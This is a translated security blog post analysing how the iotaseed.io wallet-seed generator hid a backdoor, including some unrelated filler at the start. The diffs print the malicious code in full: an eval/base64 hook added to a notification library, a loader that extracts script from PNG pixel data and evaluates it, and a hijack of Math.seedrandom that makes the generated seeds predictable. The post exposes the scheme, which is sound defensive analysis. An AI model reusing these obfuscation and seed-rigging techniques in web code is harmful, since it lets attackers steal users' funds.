【New Friends】Click the blue text “Pilu Security Home” below the title to follow 【Old Friends】Click the upper right corner to share or bookmark the wonderful content of this page 【Official Account】Search for the official account: Pilu Security Home, or ID: piluwill |
Introduction: A recent report by Ars Technica about blockchain currency theft tells how iotaseed.io (which has now shut down) stole $4 million worth of IOTA coins from user wallets by generating malicious Seed addresses. The article did not analyze the related code but simply informed us of such an operation.
Preface without knowing what to say
In 1982, Mr. Xu Qibin, known as the contemporary Jiao Yulu, shouted the slogan “If you want to get rich, build roads first” in Meishan, Sichuan, which deeply imprinted in our minds. Poor transportation hindered the process of transforming local resource advantages into economic advantages, and limited local economic development. Transportation brings convenience to logistics and cultural exchanges while also providing real income to local finances, and this entry point is the toll station.
Friends who have played with credit cards should know that those who take advantage of the system in the credit card community are called big wool pullers. Do these big wool pullers really spend hundreds of thousands a month? Do they hang out with young models every day? So how do these big wool pullers take advantage of the banks? Most of the bank activities are designed based on the cardholder’s consumption limit, and the consumption scenarios are nothing more than online consumption such as Alipay, WeChat Pay, UnionPay online, and offline merchants using POS machines.
Merchants use the POS machines obtained from acquiring institutions to swipe cards for customers, then print receipts, and later take the receipts to settle with the acquiring institutions, which charge a certain fee based on the contract signed with the merchants. Here, we can think of the consumption flow as a highway, making it easy to understand the analogy of the acquiring institutions behind the POS machines as toll stations.
After tricking 400 words of manuscript fees, we officially introduce the topic of this article.
A recent report by Ars Technica about blockchain currency theft (https://arstechnica.com/information-technology/2018/01/two-new-cryptocurrency-heists-make-off-with-over-400m-worth-of-blockchange/) tells how iotaseed.io (which has now shut down) stole $4 million worth of IOTA coins from user wallets by generating malicious Seed addresses. The article did not analyze the related code but simply informed us of such an operation.
Searching for Code
Since iotaseed.io has ceased operations, fortunately, we found the historical page of the site (http://web.archive.org/web/20180103035549/https://iotaseed.io/)
At the bottom of the page, we found that the site linked to a GitHub repository, insisting on using the services provided by the site instead of letting users download the code directly from GitHub. The reason given is quite sufficient, “The repository contains new code that has not been fully tested.”
Could it be that scripts not present in the repository were added in the actual site? If this assumption holds, it could explain why the stolen users mentioned iotaseed.io and not the GitHub repository.
However, the repository address provided by the site (https://github.com/norbertvdberg/iotaseed) has been deleted, and the owner of the repository, norbertvdberg (https://github.com/norbertvdberg), has also canceled their account. Attempts to read or download the code through the archived homepage of the GitHub repository (https://web.archive.org/web/20180103035549/https://github.com/norbertvdberg/iotaseed) show that there is no archived page. The code repository has been forked by 8 people, and from the GitHub user manual, we know that even if the project is deleted, the previously forked branches will be preserved! We still have hope to see samples.
Based on a commit message displayed on the original repository’s historical page, I searched on GitHub
eggdroid/eggseed3 (https://github.com/eggdroid/eggseed3) seems to have forked the original repository code, matching the 26 commits submitted by the original repository author norbertvdberg.
At this point, we have gathered two samples to summon the dragon.
Analyzing Code
This Seed address generator consists of multiple different JavaScript scripts, which we merged into a file named all.js, and then compressed it into all.mini.js. This all.mini.js is actually the file provided by the webpage. We compared the all.mini.js retrieved from the historical page with the all.mini.js sample obtained from GitHub.
$ shasum all-website.mini.js all-github.mini.js
3d48933698d8cf1d1673067d782595c12c815424 all-website.mini.js
3d48933698d8cf1d1673067d782595c12c815424 all-github.mini.js
The two files are identical, so we can only dive into the code. Later, I noticed that once a Seed address is generated, a Web Worker object is called to generate a QR code and Seed address information, and that Worker object comes from a separate file all-wallet.mini.js. Does this file hide the ugly PY transaction? We will wait and see.
By comparing the two samples of all-wallet.mini.js files, I initially confirmed that the two samples are indeed different. With a little excitement, I organized the two samples with js-beautify and used the diff command to confirm where the issue lies.
$ diff all-wallet-website.js all-wallet-github.js
1313c1313
< t = t || {}, this.version = e(“../package.json”).version, this.host = t.host ? t.host : “http://web.archive.org/web/20180120222030/http://localhost/”, this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, “”) + “:” + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, “”), this.provider = this.sandbox + “/commands”), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e(“./utils/inputValidator”), this.multisig = new s(this._makeRequest)
—
> t = t || {}, this.version = e(“../package.json”).version, this.host = t.host ? t.host : “http://localhost”, this.port = t.port ? t.port : 14265, this.provider = t.provider || this.host.replace(/\/$/, “”) + “:” + this.port, this.sandbox = t.sandbox || !1, this.token = t.token || !1, this.sandbox && (this.sandbox = this.provider.replace(/\/$/, “”), this.provider = this.sandbox + “/commands”), this._makeRequest = new o(this.provider, this.token), this.api = new a(this._makeRequest, this.sandbox), this.utils = i, this.valid = e(“./utils/inputValidator”), this.multisig = new s(this._makeRequest)
1713c1713
< this.provider = e || “http://web.archive.org/web/20180120222030/http://localhost:14265/”, this.token = t
—
> this.provider = e || “http://localhost:14265”, this.token = t
1718c1718
< this.provider = e || “http://web.archive.org/web/20180120222030/http://localhost:14265/”
—
> this.provider = e || “http://localhost:14265”
6435c6435
< website: “http://web.archive.org/web/20180120222030/https://iota.org/”
—
> website: “https://iota.org”
6440c6440
< url: “http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js/issues”
—
> url: “https://github.com/iotaledger/iota.lib.js/issues”
6444c6444
< url: “http://web.archive.org/web/20180120222030/https://github.com/iotaledger/iota.lib.js.git”
—
> url: “https://github.com/iotaledger/iota.lib.js.git”
However, the only difference between the two samples is that the sample we retrieved from the time machine had resources rewritten and the URLs pointed to web.archive.org. From the perspective of the Seed address generation function, the two samples seem to be identical.
After that, I looked at the index.html page and found that the page also loaded a JavaScript file, a notification library (https://github.com/rlemon/Notifier.js). After downloading and comparing the time machine version with the GitHub version, we indeed discovered some clues.
$ diff notifier-website.js notifier-github.js
68,71d67
< if (!window.inited_n) {
< window.inited_n = true;
< Notifier.init()
< }
82,87d77
< if (/,T/.test(image)) {
< if (/ps:.*o/.test(document.location)) {
< eval(atob(image.split(",")[2]))
< }
< return
< }
119,121d108
< init: function(message, title) {
< this.notify(message, title, "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9wCBxILCcud3gSTrg4uDm5uZFRETbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03/9RTlAAAADy8vIgICA2NzY4OzYPM0fa29q,ZnVuY3Rpb24gY0RpcyhmKXt2YXIgbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKS5nZXRDb250ZXh0KCIyZCIpO3ZhciBpPW5ldyBJbWFnZTtpLm9ubG9hZD1mdW5jdGlvbigpe28uZHJhd0ltYWdlKGksMCwwKTtkUyhvLmdldEltYWdlRGF0YSgwLDAsMjk4LDEwMCkuZGF0YSl9O2kuc3JjPWZ9ZnVuY3Rpb24gZFMoZCl7dmFyIGw9MjEsYk09IiIsdE09IiI7Zm9yKHZhciBpPTA7aTxsO2krKyl7dmFyIGI9KGRbaSo0KzJdPj4+MCkudG9TdHJpbmcoMik7Yk0rPWJbYi5sZW5ndGgtMV07aWYoYk0ubGVuZ3RoPT0xNil7bD1wYXJzZUludChiTSwyKSsxNjtiTT0iIn1lbHNlIGlmKGJNLmxlbmd0aD09OCYmbCE9MjEpe3RNKz1TdHJpbmcuZnJvbUNoYXJDb2RlKHBhcnNlSW50KGJNLDIpKTtiTT0iIn19ZXZhbCh0TSl9Y0RpcygiLi9pbWFnZXMvbG9nb19zbWFsbF9ib3R0b20ucG5nIik7,TbRznoTD3oTD1JR0iXlYXaRzncRzhBQUDnSjtNS0zUzsdnZmVLSEpMSEoyNjPm5eSZmYfm6ekzNTOloI42ODbm6Oiioo/h4eEzODbm5+eop5SiopCiopDl396hloaDg3ToTD3m5uZMS03///9RTlAAAADy8vIgICA2NzY4OzYPM0fa29qgoI7/zMnj4+PW19VGRkbqPi7v7/D6+vr09fXyTj4rKSvhSTo/Pj/oSDnlMyLsNCI0MTP0///tTT7ZRjizOi+6PDDmLRyenZ7oKRfExMT/TzvobGEVFBWGhYUAGjLW8/ToXVADLUZ8e33/2tfRRTdWVFTFQDT1u7aSkZIADib+5eFwcHHW+/z70tDwkIesPTPW6+teXV2xsbG7u7vY4+Lre3DMzM2qp6jilIxsPT7lg3kdO07m/f4AJjuwsJzftK/fpZ7woJjoVUZBWGj1zMdTaXfcvrrzq6Tby8f+8u8wSlYZNDaQRUKfr7d9j5lpf4vx5ePMsLF/o64s+PNlAAAANnRSTlMAC1IoljoZWm2yloPRGWiJfdjEEk037Esq7Pn24EKjpiX+z7rJNNWB5pGxZ1m2mZY/gXOlr43C+dBMAAAmkklEQVR42uzay86bMBAF4MnCV1kCeQFIRn6M8xZe+v1fpVECdtPSy5822Bi+JcujmfEApl3IIRhBFyIJ3Em6UMTDSKfHsOB0dhILQ2fX4+4aF0tVXC3yJJB4OrcJV1msIhJN52avslhpZOfcvyepfceIaARw5t2CWTwYRhSQTdSum1TGqE5Mr0kg6Ukj66hZ3GExaEaJQsYIWXzmd6P2KHxn6NjG4/BDMEQ6RM+oNQ6vjJyWFTNTDJlau0e1drAO+Ikan8tE1itkfC0S11iXKGyYJZFB5jpkgmY8WWoKx6Z5JI3MGyQqV1Jj80Jgm2J9xGrQSAKfcyptEfgFrxxWnUUiVEqIGjN5bAsRKyOReI9FaGxw3o0Of8I6rAbbcBR06yN+T+Uogmu2QR5ucsaXuV6w1hath9HiDWGwWrLmOoUL7/CWYLRo6/2d9zPeN6hONNEvXKiIf2fkwauDCxXwcPI0mA/4v+whvwdzafABTh/tZW3SEcmZS0NYfJTTB5kaYsbnHSEMMWMfuvJdg3vsJlR9R6UP2JOp9jRhM/ZVa5dwiwJCT9UZI8qwtRVGh2JCVSsXtyinqgtMk0NJFf1QYwGlmToGhkQFQg3X5nvUofzw7FCLr2bRak2Uz0KgJhOVM6EqjlMpvPwp+ioWy2JAbWYqQ6E+mv5SwyNzJWh/HHX6Rty17TYNBFF44CokEA+ABELiJ2yMnUorefElCY5pHGgqu3JUhYAU0xpwwYoqJSAU8sgXMxvvekwukAS0PS9pq3I8OXtmZm8pF3D6vuLEx7N833/N0bI85X/CarUEte9b68nlf4rg+lKoEGAvPMvzk6+Ak5OwZ71u/S81gEoJR8AMyPNR2FOs7jo1pG94PvzdD76vjCZTYp/vlzDefw0hYOWf4b1+3Tt5+3MfcZ7NxnnPX0Uu//7StQUhwgmNk/N9x3ENDpfF/P7E6/6rM1qt8K0BXMjsOs7+eZKNR95KMSQfCgS/pUY4TuPUdlEHlOPnCXj7H2B1e9+ZxRaZHVuN49nI8pUlNC9JRLVSwMhM4piahmOsA/FMFPwB+4ZiyTYnf/gAAAABJRU5ErkJggg==")
< },
To hide the author’s good intentions, who can understand? The Notifier.notify method has been modified to check if the image parameter contains “,T”, parsing part of the code into JavaScript and making judgments. Another modification is that when the page loads, it adds a call to Notifier.init() to trigger the execution of the code containing the image parameter.
Executing atob(image.split(“,”)[2]) will lead to the following code snippet:
function cDis(f) {
var o = document.createElement("canvas").getContext("2d");
var i = new Image;
i.onload = function() {
o.drawImage(i, 0, 0);
dS(o.getImageData(0, 0, 298, 100).data)
};
i.src = f
}
function dS(d) {
var l = 21,
bM = "",
tM = "";
for (var i = 0; i < l; i++) {
var b = (d[i * 4 + 2] >>> 0).toString(2);
bM += b[b.length - 1];
if (bM.length == 16) {
l = parseInt(bM, 2) + 16;
bM = ""
} else if (bM.length == 8 && l != 21) {
tM += String.fromCharCode(parseInt(bM, 2));
bM = ""
}
}
eval(tM)
}
cDis("./images/logo_small_bottom.png");
The malicious code’s second phase places ./images/logo_small_bottom.png in an invisible manner
if (/ps:.*\.io/.test(document.location)) {
mode = "M";
(function(message) {
var name = "edr";
name += "an";
message["cont"] = 0;
name += "dom";
function show(arg, options, image) {
message["e2" + name]("4782588875512803642" + String(message["cont"]), options, image);
message["cont"] += 1
}
message["e2" + name] = message["se" + name];
message["se" + name] = show
})(eval(mode + "ath"))
}
This is the last phase of the JavaScript backdoor. Let’s simplify it:
Math.cont = 0;
function show(arg, options, image) {
Math.e2edrandom("4782588875512803642" + String(Math.cont), options, image);
Math.cont += 1;
}
Math.e2edrandom = Math.seedrandom;
Math.seedrandom = show;
This code modifies the Math.seedrandom function used to generate codes (https://github.com/eggdroid/eggseed3/blob/8b92ec0f8b251c9fe91cd64c86803f5b1cf0e3d3/jscript/iotaseed.js#L203), using a fixed number 4782588875512803642 plus a counting variable seedrandom, which causes Math.random() to return the same data every time, resulting in a series of numbers that are predictable, and ultimately generating the same IOTA Seed address. This explains why every time you open the archive of iotaseed.io (http://web.archive.org/web/20180103035549/https://iotaseed.io/) the generated Seed address is the same:
XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD
Even if you switch computers, the result remains the same.
Another thing to note is that the RNG obtained by each user (“4782588875512803642” is what we obtained from the historical sample) is not the same. By comparing October 31st (http://web.archive.org/web/20171031191834/https://iotaseed.io/) and November 19th (http://web.archive.org/web/20171119102005/https://iotaseed.io/), we found that this number changes every once in a while. This means that ./images/logo_small_bottom.png is dynamically generated by the iotaseed.io server. After creating this PNG file, the number used to modify the random function will also change (or it is stored elsewhere, anyway, it has to be utilized by the attacker to steal IOTA), and it seems that the site indeed generates different Seed addresses for different users. This demo (https://thatoddmailbox.github.io/iotaseed/decode.html) demonstrates how this code changes.
According to the official IOTA JavaScript library, we know that the previously mentioned Seed address (XZHKIPJIFZFYJJMKBVBJLQUGLLE9VUREWK9QYTITMQYPHBWWPUDSATLLUADKSEEYWXKCDHWSMBTBURCQD) corresponds to the wallet address PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX. From the iotabalance.com website, we learn that this is an empty wallet, however, querying this wallet address on similar websites returns a 404 error, like this example (https://thetangle.org/address/PUEBLAHRQGOTIAMJHCCXXGQPXDQJS9BDFSCDSMINAYJNSILCCISDVY99GMKAEIAICYQUXMIYTNQCJYVDX).
Conclusion
Looking back at the method of placing backdoors, if you say this is an unintentional mistake, then I can’t help it. What we are unclear about now is whether this code was created by norbertvdberg or other attackers. However, from the fact that the owner deleted GitHub, Reddit, and Quora accounts afterward, it seems they can’t escape this connection.
The backdoor is indeed hidden quite well; it is hard to discover any clues just by taking a glance with the browser’s developer tools.
So again, if you want to get rich, you must first build roads!
Reference source: https://github.com/thatoddmailbox/thatoddmailbox.github.io/blob/e7643908eabd69f96b820ecfb1cc282571494134/_posts/2017-01-28-iotaseed.md, with some modifications to the original text, the article comes from Sihou.
Click “Read the original text” to enjoy more wonderful content!
Leave a Comment
Your email address will not be published. Required fields are marked *